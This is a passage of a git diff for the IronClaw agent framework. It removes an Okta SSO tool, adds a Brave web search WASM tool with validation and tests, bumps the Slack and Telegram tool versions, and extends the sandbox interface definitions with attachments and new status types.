a["appName"].as_str().unwrap_or("").to_string(), - hidden: a["hidden"].as_bool().unwrap_or(false), - }) - .collect()) -} diff --git a/tools-src/okta/src/lib.rs b/tools-src/okta/src/lib.rs deleted file mode 100644 index 296e3af3..00000000 --- a/tools-src/okta/src/lib.rs +++ /dev/null @@ -1,117 +0,0 @@ -//! Okta WASM Tool for IronClaw. -//! -//! Provides user profile management, SSO app catalog browsing, and -//! launch links for all applications under Okta single sign-on. -//! -//! # Setup -//! -//! 1. Configure OAuth2 with PKCE (see capabilities.json instructions) -//! 2. Write your Okta domain to workspace: `memory_write(path="okta/domain", content="mycompany.okta.com")` -//! 3. All actions read the domain from workspace automatically -//! -//! # Capabilities Required -//! -//! - HTTP: `*.okta.com/api/v1/*`, `*.okta.com/idp/myaccount/*` (GET, POST, PUT) -//! - Secrets: `okta_oauth_token` (injected as Bearer token) -//! - Workspace: `okta/` prefix (read-only, for domain config) -//! -//! # Supported Actions -//! -//! - `get_profile`: Fetch the current user's profile -//! - `update_profile`: Update profile fields -//! - `list_apps`: List all SSO apps assigned to the user -//! - `search_apps`: Search apps by name -//! - `get_app_sso_link`: Get the SSO launch URL for a specific app -//! - `get_org_info`: Get organization details - -mod api; -mod types; - -use types::OktaAction; - -wit_bindgen::generate!({ - world: "sandboxed-tool", - path: "../../wit/tool.wit", -}); - -struct OktaTool; - -impl exports::near::agent::tool::Guest for OktaTool { - fn execute(req: exports::near::agent::tool::Request) -> exports::near::agent::tool::Response { - match execute_inner(&req.params) { - Ok(result) => exports::near::agent::tool::Response { - output: Some(result), - error: None, - }, - Err(e) => exports::near::agent::tool::Response { - output: None, - error: Some(e), - }, - } - } - - fn schema() -> String { - r#"{ - "type": "object", - "required": ["action"], - "properties": { - "action": { - "type": "string", - "enum": ["get_profile", "update_profile", "list_apps", "search_apps", "get_app_sso_link", "get_org_info"], - "description": "The Okta operation to perform" - }, - "fields": { - "type": "object", - "description": "Profile fields to update (e.g., firstName, lastName, email, mobilePhone, displayName, title, department). Required for: update_profile" - }, - "query": { - "type": "string", - "description": "Case-insensitive search query to match against app labels and names. Required for: search_apps" - }, - "app": { - "type": "string", - "description": "App instance ID (e.g., '0oa1xxx') or app label (e.g., 'Google Workspace'). Required for: get_app_sso_link" - } - } - }"# - .to_string() - } - - fn description() -> String { - "Okta SSO tool for managing your profile and accessing all applications under \ - single sign-on. Supports viewing/updating your Okta profile, listing all assigned \ - SSO apps, searching apps by name, and getting direct SSO launch links. Requires \ - Okta domain in workspace at 'okta/domain' and an OAuth token with \ - okta.users.read.self, okta.users.manage.self, and okta.apps.read scopes." - .to_string() - } -} - -fn execute_inner(params: &str) -> Result { - if !crate::near::agent::host::secret_exists("okta_oauth_token") { - return Err( - "Okta OAuth token not configured. Please add the 'okta_oauth_token' secret \ - via OAuth2 flow or set the OKTA_OAUTH_TOKEN environment variable." - .to_string(), - ); - } - - let action: OktaAction = - serde_json::from_str(params).map_err(|e| format!("Invalid parameters: {}", e))?; - - crate::near::agent::host::log( - crate::near::agent::host::LogLevel::Info, - &format!("Executing Okta action: {:?}", action), - ); - - match action { - OktaAction::GetProfile => api::get_profile(), - OktaAction::UpdateProfile { fields } => api::update_profile(&fields), - OktaAction::ListApps => api::list_apps(), - OktaAction::SearchApps { query } => api::search_apps(&query), - OktaAction::GetAppSsoLink { app } => api::get_app_sso_link(&app), - OktaAction::GetOrgInfo => api::get_org_info(), - } -} - -export!(OktaTool); diff --git a/tools-src/okta/src/types.rs b/tools-src/okta/src/types.rs deleted file mode 100644 index 63e40ab9..00000000 --- a/tools-src/okta/src/types.rs +++ /dev/null @@ -1,119 +0,0 @@ -use serde::{Deserialize, Serialize}; - -/// Input parameters for the Okta tool. -/// -/// Actions map to Okta Management API (/api/v1/) and MyAccount API (/idp/myaccount/). -/// The tool reads the Okta domain from workspace at `okta/domain`. -#[derive(Debug, Deserialize)] -#[serde(tag = "action", rename_all = "snake_case")] -pub enum OktaAction { - /// Get the current user's Okta profile. - GetProfile, - - /// Update fields on the current user's profile (partial update). - UpdateProfile { - /// Key-value pairs of profile fields to update. - /// Common fields: firstName, lastName, email, mobilePhone, displayName, - /// nickName, title, department, organization. - fields: serde_json::Value, - }, - - /// List all SSO applications assigned to the current user. - ListApps, - - /// Search assigned apps by name (case-insensitive substring match). - SearchApps { - /// Search query to match against app labels. - query: String, - }, - - /// Get the SSO launch link for a specific app by its instance ID or label. - GetAppSsoLink { - /// App instance ID (e.g., "0oa1xxx") or app label to search for. - app: String, - }, - - /// Get information about the Okta organization. - GetOrgInfo, -} - -// --------------------------------------------------------------------------- -// Response types -// --------------------------------------------------------------------------- - -/// User profile from Okta. -#[derive(Debug, Serialize)] -pub struct UserProfile { - pub id: String, - pub status: String, - pub first_name: String, - pub last_name: String, - pub email: String, - pub login: String, - #[serde(skip_serializing_if = "Option::is_none")] - pub mobile_phone: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub display_name: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub nick_name: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub title: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub department: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub organization: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub timezone: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub locale: Option, -} - -/// Result of a profile update. -#[derive(Debug, Serialize)] -pub struct UpdateProfileResult { - pub success: bool, - pub profile: UserProfile, -} - -/// An SSO app link (chiclet) assigned to the user. -#[derive(Debug, Serialize)] -pub struct AppLink { - pub app_instance_id: String, - pub label: String, - pub link_url: String, - #[serde(skip_serializing_if = "Option::is_none")] - pub logo_url: Option, - pub app_name: String, - pub hidden: bool, -} - -/// Result of listing or searching apps. -#[derive(Debug, Serialize)] -pub struct ListAppsResult { - pub apps: Vec, - pub count: usize, -} - -/// SSO launch link for a specific app. -#[derive(Debug, Serialize)] -pub struct AppSsoLinkResult { - pub label: String, - pub link_url: String, - pub app_instance_id: String, - pub app_name: String, -} - -/// Okta organization info. -#[derive(Debug, Serialize)] -pub struct OrgInfo { - pub id: String, - pub name: String, - #[serde(skip_serializing_if = "Option::is_none")] - pub subdomain: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub website: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub support_phone: Option, - #[serde(skip_serializing_if = "Option::is_none")] - pub technical_contact: Option, -} diff --git a/tools-src/slack/Cargo.toml b/tools-src/slack/Cargo.toml index cb3c0ad2..2b11f560 100644 --- a/tools-src/slack/Cargo.toml +++ b/tools-src/slack/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "slack-tool" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Slack integration tool for IronClaw (WASM component)" license = "MIT OR Apache-2.0" @@ -19,3 +19,5 @@ opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/tools-src/slack/slack-tool.capabilities.json b/tools-src/slack/slack-tool.capabilities.json index 753cffc6..8b9060d7 100644 --- a/tools-src/slack/slack-tool.capabilities.json +++ b/tools-src/slack/slack-tool.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "http": { "allowlist": [ { @@ -46,5 +48,17 @@ "setup_url": "https://api.slack.com/apps", "token_hint": "Starts with 'xoxb-'", "env_var": "SLACK_BOT_TOKEN" + }, + "setup": { + "required_secrets": [ + { + "name": "slack_oauth_client_id", + "prompt": "Slack OAuth Client ID (from api.slack.com/apps)" + }, + { + "name": "slack_oauth_client_secret", + "prompt": "Slack OAuth Client Secret" + } + ] } } diff --git a/tools-src/telegram/Cargo.toml b/tools-src/telegram/Cargo.toml index ed283acf..cdc2b3ec 100644 --- a/tools-src/telegram/Cargo.toml +++ b/tools-src/telegram/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "telegram-tool" -version = "0.1.0" +version = "0.2.0" edition = "2021" description = "Telegram user-mode integration tool for IronClaw (WASM component)" license = "MIT OR Apache-2.0" @@ -24,3 +24,5 @@ opt-level = "s" lto = true strip = true codegen-units = 1 + +[workspace] diff --git a/tools-src/telegram/telegram-tool.capabilities.json b/tools-src/telegram/telegram-tool.capabilities.json index 03736e06..665baedd 100644 --- a/tools-src/telegram/telegram-tool.capabilities.json +++ b/tools-src/telegram/telegram-tool.capabilities.json @@ -1,4 +1,6 @@ { + "version": "0.2.0", + "wit_version": "0.3.0", "http": { "allowlist": [ { @@ -24,5 +26,17 @@ "display_name": "Telegram", "instructions": "1. Go to https://my.telegram.org/apps and create an app\n2. Store your API ID and hash in the workspace:\n - Write your numeric API ID to telegram/api_id\n - Write your API hash string to telegram/api_hash\n3. Use the 'login' action with your phone number\n4. Use 'submit_auth_code' with the code you receive\n5. Use 'submit_2fa_password' if you have 2FA enabled\n6. Save the returned session JSON to telegram/session.json", "setup_url": "https://my.telegram.org/apps" + }, + "setup": { + "required_secrets": [ + { + "name": "telegram_api_id", + "prompt": "Telegram API ID (from my.telegram.org/apps)" + }, + { + "name": "telegram_api_hash", + "prompt": "Telegram API Hash" + } + ] } } diff --git a/tools-src/web-search/Cargo.toml b/tools-src/web-search/Cargo.toml new file mode 100644 index 00000000..8bd29ff1 --- /dev/null +++ b/tools-src/web-search/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "web-search-tool" +version = "0.2.0" +edition = "2021" +description = "Brave Web Search tool for IronClaw (WASM component)" +license = "MIT OR Apache-2.0" +publish = false + +[dependencies] +serde = { version = "1.0", features = ["derive"] } +serde_json = "1.0" +wit-bindgen = "0.41.0" + +[lib] +crate-type = ["cdylib"] + +[profile.release] +opt-level = "s" +lto = true +strip = true +codegen-units = 1 + + +[workspace] diff --git a/tools-src/web-search/src/lib.rs b/tools-src/web-search/src/lib.rs new file mode 100644 index 00000000..f42cf167 --- /dev/null +++ b/tools-src/web-search/src/lib.rs @@ -0,0 +1,478 @@ +//! Brave Web Search WASM Tool for IronClaw. +//! +//! Searches the web using the Brave Search API and returns structured results. +//! +//! # Authentication +//! +//! Store your Brave Search API key: +//! `ironclaw secret set brave_api_key ` +//! +//! Get a key at: https://brave.com/search/api/ + +wit_bindgen::generate!({ + world: "sandboxed-tool", + path: "../../wit/tool.wit", +}); + +use serde::Deserialize; + +const BRAVE_SEARCH_ENDPOINT: &str = "https://api.search.brave.com/res/v1/web/search"; +const MAX_COUNT: u32 = 20; +const DEFAULT_COUNT: u32 = 5; +const MAX_RETRIES: u32 = 3; + +struct WebSearchTool; + +impl exports::near::agent::tool::Guest for WebSearchTool { + fn execute(req: exports::near::agent::tool::Request) -> exports::near::agent::tool::Response { + match execute_inner(&req.params) { + Ok(result) => exports::near::agent::tool::Response { + output: Some(result), + error: None, + }, + Err(e) => exports::near::agent::tool::Response { + output: None, + error: Some(e), + }, + } + } + + fn schema() -> String { + SCHEMA.to_string() + } + + fn description() -> String { + "Search the web using Brave Search. Returns titles, URLs, descriptions, and \ + publication dates for matching web pages. Supports filtering by country, \ + language, and freshness. Authentication is handled via the 'brave_api_key' \ + secret injected by the host." + .to_string() + } +} + +#[derive(Debug, Deserialize)] +struct SearchParams { + query: String, + count: Option, + country: Option, + search_lang: Option, + ui_lang: Option, + freshness: Option, +} + +#[derive(Debug, Deserialize)] +struct BraveSearchResponse { + web: Option, +} + +#[derive(Debug, Deserialize)] +struct BraveWebResults { + results: Option>, +} + +#[derive(Debug, Deserialize)] +struct BraveSearchResult { + title: Option, + url: Option, + description: Option, + age: Option, +} + +fn execute_inner(params: &str) -> Result { + let params: SearchParams = + serde_json::from_str(params).map_err(|e| format!("Invalid parameters: {e}"))?; + + if params.query.is_empty() { + return Err("'query' must not be empty".into()); + } + if params.query.len() > 2000 { + return Err("'query' exceeds maximum length of 2000 characters".into()); + } + + // Validate optional parameters. + if let Some(ref lang) = params.search_lang { + if !is_valid_lang_code(lang) { + return Err(format!( + "Invalid 'search_lang': expected 2-letter code like 'en', got '{lang}'" + )); + } + } + if let Some(ref country) = params.country { + if !is_valid_country_code(country) { + return Err(format!( + "Invalid 'country': expected 2-letter code like 'US', got '{country}'" + )); + } + } + if let Some(ref ui_lang) = params.ui_lang { + if !is_valid_ui_lang(ui_lang) { + return Err(format!( + "Invalid 'ui_lang': expected format like 'en-US', got '{ui_lang}'" + )); + } + } + if let Some(ref freshness) = params.freshness { + if !is_valid_freshness(freshness) { + return Err(format!( + "Invalid 'freshness': expected 'pd', 'pw', 'pm', 'py', or \ + 'YYYY-MM-DDtoYYYY-MM-DD', got '{freshness}'" + )); + } + } + + // Pre-flight: verify API key is available. + if !near::agent::host::secret_exists("brave_api_key") { + return Err( + "Brave API key not found in secret store. Set it with: \ + ironclaw secret set brave_api_key . \ + Get a key at: https://brave.com/search/api/" + .into(), + ); + } + + let count = params.count.unwrap_or(DEFAULT_COUNT).clamp(1, MAX_COUNT); + let url = build_search_url(¶ms.query, count, ¶ms); + + // X-Subscription-Token is injected by the host via credential config. + let headers = serde_json::json!({ + "Accept": "application/json", + "User-Agent": "IronClaw-WebSearch-Tool/0.1" + }); + + // Retry loop for transient errors (429 rate limit, 5xx server errors). + let response = { + let mut attempt = 0; + loop { + attempt += 1; + + let resp = + near::agent::host::http_request("GET", &url, &headers.to_string(), None, None) + .map_err(|e| format!("HTTP request failed: {e}"))?; + + if resp.status >= 200 && resp.status < 300 { + break resp; + } + + if attempt < MAX_RETRIES && (resp.status == 429 || resp.status >= 500) { + near::agent::host::log( + near::agent::host::LogLevel::Warn, + &format!( + "Brave API error {} (attempt {}/{}). Retrying...", + resp.status, attempt, MAX_RETRIES + ), + ); + continue; + } + + let body = String::from_utf8_lossy(&resp.body); + return Err(format!( + "Brave API error (HTTP {}): {}", + resp.status, body + )); + } + }; + + let body = + String::from_utf8(response.body).map_err(|e| format!("Invalid UTF-8 response: {e}"))?; + + let brave_response: BraveSearchResponse = + serde_json::from_str(&body).map_err(|e| format!("Failed to parse Brave response: {e}"))?; + + let results = brave_response + .web + .and_then(|w| w.results) + .unwrap_or_default(); + + let formatted: Vec = results + .into_iter() + .filter_map(|r| { + let title = r.title?; + let url = r.url?; + let description = r.description.unwrap_or_default(); + + let mut entry = serde_json::json!({ + "title": title, + "url": url, + "description": description, + }); + if let Some(age) = r.age { + entry["published"] = serde_json::json!(age); + } + // Extract hostname for site_name. + if let Some(host) = extract_hostname(&url) { + entry["site_name"] = serde_json::json!(host); + } + Some(entry) + }) + .collect(); + + let output = serde_json::json!({ + "query": params.query, + "result_count": formatted.len(), + "results": formatted, + }); + + serde_json::to_string(&output).map_err(|e| format!("Failed to serialize output: {e}")) +} + +fn build_search_url(query: &str, count: u32, params: &SearchParams) -> String { + let mut url = format!( + "{}?q={}&count={}", + BRAVE_SEARCH_ENDPOINT, + url_encode(query), + count + ); + + if let Some(ref country) = params.country { + url.push_str(&format!("&country={}", url_encode(country))); + } + if let Some(ref search_lang) = params.search_lang { + url.push_str(&format!("&search_lang={}", url_encode(search_lang))); + } + if let Some(ref ui_lang) = params.ui_lang { + url.push_str(&format!("&ui_lang={}", url_encode(ui_lang))); + } + if let Some(ref freshness) = params.freshness { + url.push_str(&format!("&freshness={}", url_encode(freshness))); + } + + url +} + +/// Percent-encode a string for safe use in URL query parameters. +fn url_encode(s: &str) -> String { + let mut out = String::with_capacity(s.len() * 2); + for b in s.bytes() { + match b { + b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => { + out.push(b as char); + } + b' ' => out.push_str("%20"), + _ => { + out.push('%'); + out.push(char::from(b"0123456789ABCDEF"[(b >> 4) as usize])); + out.push(char::from(b"0123456789ABCDEF"[(b & 0xf) as usize])); + } + } + } + out +} + +/// Extract hostname from a URL string without a URL parser. +fn extract_hostname(url: &str) -> Option { + let after_scheme = url + .strip_prefix("https://") + .or_else(|| url.strip_prefix("http://"))?; + let host = after_scheme.split('/').next()?; + let host = host.split(':').next()?; // strip port + if host.is_empty() { + None + } else { + Some(host.to_string()) + } +} + +/// Validate a 2-letter language code (e.g. "en", "de"). +fn is_valid_lang_code(s: &str) -> bool { + s.len() == 2 && s.bytes().all(|b| b.is_ascii_lowercase()) +} + +/// Validate a 2-letter country code (e.g. "US", "DE"). +fn is_valid_country_code(s: &str) -> bool { + s.len() == 2 && s.bytes().all(|b| b.is_ascii_uppercase()) +} + +/// Validate a UI locale string (e.g. "en-US"). +fn is_valid_ui_lang(s: &str) -> bool { + let mut parts = s.split('-'); + if let (Some(lang), Some(country), None) = (parts.next(), parts.next(), parts.next()) { + is_valid_lang_code(lang) && is_valid_country_code(country) + } else { + false + } +} + +/// Validate a freshness filter value. +fn is_valid_freshness(s: &str) -> bool { + matches!(s, "pd" | "pw" | "pm" | "py") || is_valid_date_range(s) +} + +/// Check if the string is a valid date range like "2024-01-01to2024-12-31". +fn is_valid_date_range(s: &str) -> bool { + if let Some((start, end)) = s.split_once("to") { + is_date_like(start) && is_date_like(end) + } else { + false + } +} + +/// Basic check for YYYY-MM-DD format. +fn is_date_like(s: &str) -> bool { + s.len() == 10 + && s.as_bytes().get(4) == Some(&b'-') + && s.as_bytes().get(7) == Some(&b'-') + && s.bytes() + .enumerate() + .all(|(i, b)| i == 4 || i == 7 || b.is_ascii_digit()) +} + +const SCHEMA: &str = r#"{ + "type": "object", + "properties": { + "query": { + "type": "string", + "description": "The search query to look up on the web" + }, + "count": { + "type": "integer", + "description": "Number of results to return (1-20, default 5)", + "minimum": 1, + "maximum": 20, + "default": 5 + }, + "country": { + "type": "string", + "description": "2-letter uppercase country code to bias results (e.g. 'US', 'DE', 'JP')" + }, + "search_lang": { + "type": "string", + "description": "2-letter lowercase language code for search results (e.g. 'en', 'de', 'fr')" + }, + "ui_lang": { + "type": "string", + "description": "Locale in language-region format (e.g. 'en-US', 'de-DE')" + }, + "freshness": { + "type": "string", + "description": "Filter by discovery time: 'pd' (past day), 'pw' (past week), 'pm' (past month), 'py' (past year), or date range 'YYYY-MM-DDtoYYYY-MM-DD'" + } + }, + "required": ["query"], + "additionalProperties": false +}"#; + +export!(WebSearchTool); + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_url_encode() { + assert_eq!(url_encode("hello world"), "hello%20world"); + assert_eq!(url_encode("foo&bar=baz"), "foo%26bar%3Dbaz"); + assert_eq!(url_encode("simple"), "simple"); + } + + #[test] + fn test_extract_hostname() { + assert_eq!( + extract_hostname("https://example.com/path"), + Some("example.com".into()) + ); + assert_eq!( + extract_hostname("https://sub.example.com:8080/path"), + Some("sub.example.com".into()) + ); + assert_eq!( + extract_hostname("http://example.com"), + Some("example.com".into()) + ); + assert_eq!(extract_hostname("not-a-url"), None); + } + + #[test] + fn test_is_valid_lang_code() { + assert!(is_valid_lang_code("en")); + assert!(is_valid_lang_code("de")); + assert!(!is_valid_lang_code("EN")); // must be lowercase + assert!(!is_valid_lang_code("eng")); // too long + assert!(!is_valid_lang_code("")); // empty + } + + #[test] + fn test_is_valid_country_code() { + assert!(is_valid_country_code("US")); + assert!(is_valid_country_code("DE")); + assert!(!is_valid_country_code("us")); // must be uppercase + assert!(!is_valid_country_code("USA")); // too long + } + + #[test] + fn test_is_valid_ui_lang() { + assert!(is_valid_ui_lang("en-US")); + assert!(is_valid_ui_lang("de-DE")); + assert!(!is_valid_ui_lang("en")); + assert!(!is_valid_ui_lang("EN-US")); // lang part must be lowercase + assert!(!is_valid_ui_lang("en-us")); // country part must be uppercase + } + + #[test] + fn test_is_valid_freshness() { + assert!(is_valid_freshness("pd")); + assert!(is_valid_freshness("pw")); + assert!(is_valid_freshness("pm")); + assert!(is_valid_freshness("py")); + assert!(is_valid_freshness("2024-01-01to2024-12-31")); + assert!(!is_valid_freshness("invalid")); + assert!(!is_valid_freshness("2024-01-01")); // missing end date + } + + #[test] + fn test_is_date_like() { + assert!(is_date_like("2024-01-15")); + assert!(is_date_like("2025-12-31")); + assert!(!is_date_like("2024-1-15")); // not zero-padded + assert!(!is_date_like("24-01-15")); // short year + assert!(!is_date_like("")); // empty + } + + #[test] + fn test_build_search_url_minimal() { + let params = SearchParams { + query: "test query".to_string(), + count: None, + country: None, + search_lang: None, + ui_lang: None, + freshness: None, + }; + let url = build_search_url("test query", 5, ¶ms); + assert!(url.starts_with(BRAVE_SEARCH_ENDPOINT)); + assert!(url.contains("q=test%20query")); + assert!(url.contains("count=5")); + assert!(!url.contains("country=")); + } + + #[test] + fn test_build_search_url_full() { + let params = SearchParams { + query: "rust programming".to_string(), + count: Some(10), + country: Some("US".to_string()), + search_lang: Some("en".to_string()), + ui_lang: Some("en-US".to_string()), + freshness: Some("pw".to_string()), + }; + let url = build_search_url("rust programming", 10, ¶ms); + assert!(url.contains("q=rust%20programming")); + assert!(url.contains("count=10")); + assert!(url.contains("country=US")); + assert!(url.contains("search_lang=en")); + assert!(url.contains("ui_lang=en-US")); + assert!(url.contains("freshness=pw")); + } + + #[test] + fn test_url_encode_multibyte() { + assert_eq!(url_encode("café"), "caf%C3%A9"); + assert_eq!(url_encode("日本語"), "%E6%97%A5%E6%9C%AC%E8%AA%9E"); + } + + #[test] + fn test_extract_hostname_empty() { + assert_eq!(extract_hostname("https://"), None); + assert_eq!(extract_hostname("https:///path"), None); + assert_eq!(extract_hostname(""), None); + } +} diff --git a/tools-src/web-search/web-search-tool.capabilities.json b/tools-src/web-search/web-search-tool.capabilities.json new file mode 100644 index 00000000..bc660aaf --- /dev/null +++ b/tools-src/web-search/web-search-tool.capabilities.json @@ -0,0 +1,53 @@ +{ + "version": "0.2.0", + "wit_version": "0.3.0", + "capabilities": { + "http": { + "allowlist": [ + { + "host": "api.search.brave.com", + "path_prefix": "/res/v1/web/search", + "methods": [ + "GET" + ] + } + ], + "credentials": { + "brave_api_key": { + "secret_name": "brave_api_key", + "location": { + "type": "header", + "name": "X-Subscription-Token" + }, + "host_patterns": [ + "api.search.brave.com" + ] + } + }, + "rate_limit": { + "requests_per_minute": 30, + "requests_per_hour": 500 + } + }, + "secrets": { + "allowed_names": [ + "brave_api_key" + ] + } + }, + "auth": { + "secret_name": "brave_api_key", + "display_name": "Brave Search", + "instructions": "Get a free API key at brave.com/search/api/ (Free tier: 2,000 queries/month)", + "setup_url": "https://brave.com/search/api/", + "env_var": "BRAVE_API_KEY" + }, + "setup": { + "required_secrets": [ + { + "name": "brave_api_key", + "prompt": "Brave Search API key (from brave.com/search/api)" + } + ] + } +} diff --git a/wit/channel.wit b/wit/channel.wit index c716bc58..c0eb4510 100644 --- a/wit/channel.wit +++ b/wit/channel.wit @@ -1,3 +1,5 @@ +package near:agent@0.3.0; + // WASM Channel Sandbox Interface // // Defines the contract between sandboxed channels and the host runtime. @@ -38,8 +40,6 @@ // - Workspace writes are prefixed with channels// to prevent escape // - Message emission is rate-limited -package near:agent; - /// Host-provided capabilities for sandboxed channels. /// /// Extends base tool capabilities with channel-specific functions: @@ -113,6 +113,50 @@ interface channel-host { // ==================== Channel-Specific Capabilities ==================== + /// A file or media attachment on an inbound message (channel → agent). + /// + /// Core fields are part of the record. Extended metadata (duration, dimensions, + /// codec, etc.) goes in `extras-json` to avoid WIT record changes when new + /// properties are needed. Binary data (e.g., downloaded voice bytes) should be + /// stored via `store-attachment-data` rather than inlined in the record. + record inbound-attachment { + /// Unique identifier within the channel (e.g., Telegram file_id). + id: string, + /// MIME type (e.g., "image/jpeg", "audio/ogg", "application/pdf"). + mime-type: string, + /// Original filename, if known. + filename: option, + /// File size in bytes, if known. + size-bytes: option, + /// URL to download the file from the channel's API. + /// May require authentication (handled by host credential injection). + source-url: option, + /// Opaque key for host-side storage (e.g., after download/caching). + storage-key: option, + /// Extracted text content (e.g., OCR result, PDF text, audio transcript). + extracted-text: option, + /// Extensible metadata as JSON string. + /// + /// Used for properties that may be added over time without changing WIT. + /// Well-known keys: + /// - "duration_secs": u32 — duration in seconds (audio/video) + /// - "width": u32, "height": u32 — pixel dimensions (images/video) + /// - "codec": string — audio/video codec + /// - "thumbnail_file_id": string — thumbnail identifier + extras-json: string, + } + + /// Store binary data for an attachment (e.g., downloaded voice note bytes). + /// + /// Call this before emit-message to associate raw bytes with an attachment. + /// The host retrieves the data after the callback using the attachment ID. + /// + /// Security: + /// - Maximum 20MB per attachment + /// - Maximum 50MB total per callback execution + /// - Data is cleared after the callback completes + store-attachment-data: func(attachment-id: string, data: list) -> result<_, string>; + /// A message to emit to the agent. record emitted-message { /// User identifier within the channel (e.g., Slack user ID). @@ -125,6 +169,8 @@ interface channel-host { thread-id: option, /// Channel-specific metadata as JSON string. metadata-json: string, + /// File or media attachments on this message. + attachments: list, } /// Emit a message to the agent. @@ -235,6 +281,18 @@ interface channel { body: list, } + /// A file or image attachment on an outbound message (agent → channel). + /// + /// Contains raw file bytes for the channel to upload/send. + record attachment { + /// Original filename (e.g., "screenshot.png"). + filename: string, + /// MIME type (e.g., "image/png"). + mime-type: string, + /// Raw file bytes. + data: list, + } + /// Agent response to be sent back to the channel. record agent-response { /// Unique message ID for correlation. @@ -245,6 +303,8 @@ interface channel { thread-id: option, /// Channel-specific metadata as JSON string. metadata-json: string, + /// File/image attachments to send. + attachments: list, } // ==================== Status Types ==================== @@ -261,6 +321,18 @@ interface channel { tool-started, /// A tool execution completed. tool-completed, + /// A tool execution produced a preview/result status. + tool-result, + /// A tool call is waiting for user approval. + approval-needed, + /// Generic status text that should be shown to the user. + status, + /// A background/sandbox job was started. + job-started, + /// An extension/tool requires user authentication. + auth-required, + /// Authentication flow completed. + auth-completed, } /// A status update from the agent. @@ -328,6 +400,20 @@ interface channel { /// - update: The status update on-status: func(update: status-update); + /// Send a proactive message to a user without a prior incoming message. + /// + /// Used for broadcasts, alerts, and agent-initiated messages with attachments. + /// The user-id identifies the target user within the channel. + /// + /// Arguments: + /// - user-id: Target user identifier (e.g., Telegram chat_id) + /// - response: The message content and attachments to send + /// + /// Returns: + /// - Ok: Message delivered successfully + /// - Err(string): Delivery failure message + on-broadcast: func(user-id: string, response: agent-response) -> result<_, string>; + /// Clean up channel resources. /// /// Called when the channel is being unloaded. diff --git a/wit/tool.wit b/wit/tool.wit index 743a0121..cfe2b591 100644 --- a/wit/tool.wit +++ b/wit/tool.wit @@ -1,3 +1,5 @@ +package near:agent@0.3.0; + // WASM Tool Sandbox Interface // // Defines the contract between sandboxed tools and the host runtime. @@ -9,8 +11,6 @@ // - Secrets are NEVER exposed to WASM; credentials are injected at host boundary // - All outputs are scanned for secret leakage before returning to WASM -package near:agent; - /// Host-provided capabilities for sandboxed tools. /// /// These are the only ways a sandboxed tool can interact with the outside world.